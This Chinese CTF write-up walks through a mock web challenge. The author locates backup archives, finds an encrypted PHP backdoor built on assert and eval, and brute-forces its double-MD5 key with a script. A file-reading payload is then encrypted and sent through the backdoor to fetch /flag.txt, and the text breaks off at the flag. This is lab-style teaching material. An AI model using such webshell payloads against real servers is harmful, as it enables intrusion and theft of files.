感谢 卡奇 大佬指点,写一篇网鼎杯模拟赛的WP ⬇️
先看题目

开启环境,弹出一个正在维护中的页面

根据题干可以推测出该网站有备份文件
用御剑扫一下目录,发现有 /wwwroot.zip/wwwroot.rar 这两个压缩包(里面的文件是一样的)
把压缩包下载下来,解压,可以发现有很多php文件

在Linux环境下执行以下命令,统计目录下所有 .php 文件的行数,并根据行数进行升序排序。(一般来说恶意文件代码量会少一点)

1
find ./ -type f -name "*.php" -exec wc -l {} \; | sort -n

排第一的就是最可疑的文件,用VS Code打开看看 describedssTest.php

发现有 aes-128-cbc 和一堆 encryptdecrypt 字样,不难判断出与加解密有关
在本机用phpStudy把这个文件运行起来,加两个 echo 语句就能直接知道 $a8$d8 的内容

1
2
3
4
5
$a8 = trim(d($a8, $p8));
echo '$a8: '.$a8."</br>";
ob_start();
$d8 = trim(d($d8, $p8));
echo '$d8: '.$d8."</br>";

$a8 :php中的 assert 函数
$d8 :首先检查GET方式发送的id参数的MD5是否与 $p8 相同。如果相同,服务器会使用 d() 函数解密POST方式发送的 d 参数,然后使用 eval 执行解密后的内容。
1、构造GET参数 id ,使它的md5等于3b7430adaed18facca7b799229138b7b。
这里一次md5碰撞是爆不出来的,需要两次(很难想到这一点)
贴一个让ChatGPT写的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hashlib
target_hash = "3b7430adaed18facca7b799229138b7b"

# 定义搜索范围,数字 1 到 10 位长度
def brute_force_md5(target_hash, max_length=10):
# 遍历长度从 1 到 max_length
for length in range(1, max_length + 1):
for number in range(10 ** (length - 1), 10 ** length):
num_str = str(number)

hash1 = hashlib.md5(num_str.encode()).hexdigest()

if hash1 == target_hash:
print(f"Single MD5 match found! Number: {num_str}")
print(f"Hash1: {hash1}")
return num_str # 找到后结束函数

hash2 = hashlib.md5(hash1.encode()).hexdigest()

if hash2 == target_hash:
print(f"Double MD5 match found! Number: {num_str}")
print(f"Hash2: {hash2}")
return num_str # 找到后结束函数

print("No match found within the given range.")
return None

if __name__ == "__main__":
result = brute_force_md5(target_hash)
if result:
print(f"Number matching the target hash: {result}")
else:
print("No matching number was found.")

爆出来的数字是20241026
md5(20241026)=04c50eb4bc04c76311d03550ee2c1b71
md5(04c50eb4bc04c76311d03550ee2c1b71)=3b7430adaed18facca7b799229138b7b
是不是感觉这个数字很眼熟,回去看题干。
所以GET方法的id参数传入04c50eb4bc04c76311d03550ee2c1b71

2、构造POST参数 d ,因为POST参数是发到服务器后用d函数解密,然后再执行内容,所以发之前参数先用e函数加密。
构造Payload:

1
$payload = 'echo file_get_contents(\'/flag.txt\');';

将Payload用e函数加密:

所以POST方法的d参数传入TURNeU9UWTBOelUwTmprd05UUTVOR2hQTDJselJYVm5RVTV0VWtkUmFVRXdVa2x1VTJkeVNGZFJNa3RuUVZaMVJHVmtlR2hVWTJKT2NUWm9iMjB3VnpKNVdUZElPVVZ0VmtoVVFYZG9SMG89

构造完参数发送给服务器后,服务器返回一串密文:
TURNeU9UWTBOelUwTmprd05UUTVOREpWZEZodWFEWk9RVGR0YTBSTVlXbDJPRlkwTURNMGNFTjBURUZUVHk5SWNXSmpZbUpyWVdoWlQzUkxNV2czWmpVM2RsSkxURUZ4UlM5Q1dGTlVhV009
使用d()函数对密文进行解密得到flag: